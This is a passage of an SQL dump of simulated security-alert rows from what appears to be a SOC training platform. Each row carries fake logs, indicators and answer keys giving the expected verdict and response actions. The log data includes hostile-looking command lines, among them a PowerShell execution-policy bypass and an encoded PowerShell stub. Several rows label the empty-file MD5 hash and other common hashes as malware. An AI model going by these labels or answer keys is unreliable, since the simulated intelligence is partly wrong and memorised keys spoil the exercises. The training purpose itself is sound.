1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(536, 'Command and Control: Maintaining Communication', 'high', 'Network Traffic Analysis', 'Network traffic analysis has identified persistent communication between internal hosts and known APT41 command and control servers. The backdoors on compromised systems maintain communication to ensure ongoing control. Indicators such as IPs, hashes, and domains have been flagged.', 'C2 Communication', 'T1105', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T03:21:45Z\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"203.0.113.45\",\"dst_port\":443,\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"filename\":\"backdoor.exe\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"domain\":\"control.apt41-malicious.com\",\"username\":\"jdoe\",\"malware_family\":\"APT41_Backdoor\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_asset_management\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT41.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash of the backdoor file used by APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"control.apt41-malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Malicious domain used for C2 communication by APT41.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with APT41 backdoor.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"internal\",\"details\":\"Username of the compromised account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(537, 'Cleanup: Covering Tracks', 'high', 'File Integrity Monitoring', 'APT41 has been detected employing anti-forensic techniques to erase traces of their attack. This includes the deletion of log files and alteration of timestamps to cover their tracks, complicating detection and analysis efforts.', 'Anti-Forensic Techniques', 'T1070.004 - File Deletion', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:14:23Z\",\"event_type\":\"file_modification\",\"user\":\"malicious_actor\",\"affected_files\":[\"/var/log/auth.log\",\"/var/log/syslog\"],\"modification_type\":\"delete\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"hashes\":[\"e99a18c428cb38d5f260853678922e03\",\"d41d8cd98f00b204e9800998ecf8427e\"],\"associated_username\":\"admin_user\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in the incident.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT41 known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"clean\",\"details\":\"Empty file hash indicating possible log file deletion.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected from admin account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(538, 'Suspicious Cloud Service Access', 'medium', 'Firewall logs', 'A compromised email account was used to send phishing emails containing links to payloads hosted on OneDrive. This appears to be an attempt to gain initial access to the network.', 'Initial Access', 'T1566.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T10:15:30Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"src_port\":443,\"dst_port\":58642,\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"username\":\"compromised_user@domain.com\",\"url\":\"https://onedrive.live.com/download?cid=1234abcd&resid=1234abcd%2D5678%2D90ef%2D1234%2D567890abcdef\",\"filename\":\"Invoice_Details.docx\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"email_subject\":\"Urgent: Invoice Details Required\"}', '2026-01-07 22:29:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://onedrive.live.com/download?cid=1234abcd&resid=1234abcd%2D5678%2D90ef%2D1234%2D567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Analysis\",\"verdict\":\"suspicious\",\"details\":\"URL used in phishing email to deliver malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_Details.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware delivery.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"compromised_user@domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Account Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Account activity consistent with compromise.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(539, 'Cloud Atlas Malware Execution', 'high', 'Endpoint detection and response (EDR) logs', 'Upon successful initial access, the Cloud Atlas malware is executed on the target systems, utilizing PowerShell scripts to maintain stealth and execute remote commands.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\deployUpdate.ps1\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"deployUpdate.ps1\",\"event_description\":\"PowerShell script executed for potential remote command execution\",\"os_version\":\"Windows 10 Pro\",\"device_name\":\"DESKTOP-AB123CD\"}', '2026-01-07 22:29:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a company asset\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with Cloud Atlas\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"deployUpdate.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal File Inventory\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file not commonly used in environment\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"clean\",\"details\":\"Active employee with system access\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(540, 'Encrypted Data Exfiltration via Cloud Storage', 'high', 'Network traffic analysis', 'Network traffic analysis has identified suspicious encrypted data transfers from an internal system to a cloud storage service. The data is believed to be encrypted diplomatic communications exfiltrated to a Google Drive account, potentially for malicious purposes.', 'Exfiltration', 'T1567.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"35.190.247.1\",\"src_port\":443,\"dst_port\":443,\"protocol\":\"HTTPS\",\"user\":\"j.doe@diplomacy.gov\",\"filename\":\"encrypted_comm_20231015.bin\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"cloud_service\":\"Google Drive\",\"action\":\"upload\",\"bytes_sent\":1048576,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36\"}', '2026-01-07 22:29:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal host suspected to be compromised.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"35.190.247.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Google Cloud\",\"verdict\":\"suspicious\",\"details\":\"Google Drive IP used for potential data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with encrypted payload used in exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"encrypted_comm_20231015.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File suspected to contain sensitive encrypted communications.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(541, 'Unauthorized Access Detected', 'high', 'Email Gateway Logs', 'Rocra initiates its attack by sending spear-phishing emails containing malicious attachments to gain initial foothold in the network.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"email_id\":\"c2c9d5a3-5b4f-4099-a6e5-124ae6d2b5f7\",\"from\":\"attacker@example.malicious\",\"to\":\"user@targetcompany.com\",\"subject\":\"Urgent: Update Your Account Information\",\"attachment\":\"Invoice_Update_2023.docx\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.45\",\"username\":\"jdoe\",\"malware_family\":\"Rocra\"}', '2026-01-07 22:29:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@example.malicious\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain associated with Rocra.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Rocra malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Service\",\"verdict\":\"malicious\",\"details\":\"IP address linked to Rocra command and control servers.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_Update_2023.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename pattern commonly used in phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Unauthorized Access Detected\",\"date\":\"2026-02-01T20:32:22.160Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(542, 'Execution of Malicious Payload', 'high', 'Endpoint Security Alerts', 'Once access is achieved, the Rocra malware executes its payload, allowing attackers to remotely control infected machines. This step indicates the execution phase of the attack with potential remote control capabilities.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:05Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.15\",\"username\":\"john.doe\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"malware_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"file_name\":\"Rocra_Payload.exe\",\"action\":\"Execution\",\"status\":\"Success\",\"severity\":\"High\"}', '2026-01-07 22:29:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with Rocra APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Rocra malware payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Rocra_Payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"Filename detected during execution of Rocra malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR\",\"verdict\":\"clean\",\"details\":\"Legitimate internal user.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(543, 'Establishing Backdoor for Persistence', 'high', 'Network Traffic Analysis', 'Rocra sets up a backdoor on the compromised systems, enabling persistent access even after reboots or network changes. Network traffic indicates communication with a known malicious IP and the transfer of a backdoor executable.', 'Persistence', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"destination_port\":80,\"event_type\":\"network\",\"file\":{\"name\":\"backdoor.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user\":\"compromised_user\",\"action\":\"file_download\",\"status\":\"success\"}', '2026-01-07 22:29:58', '2026-02-14 16:52:12', 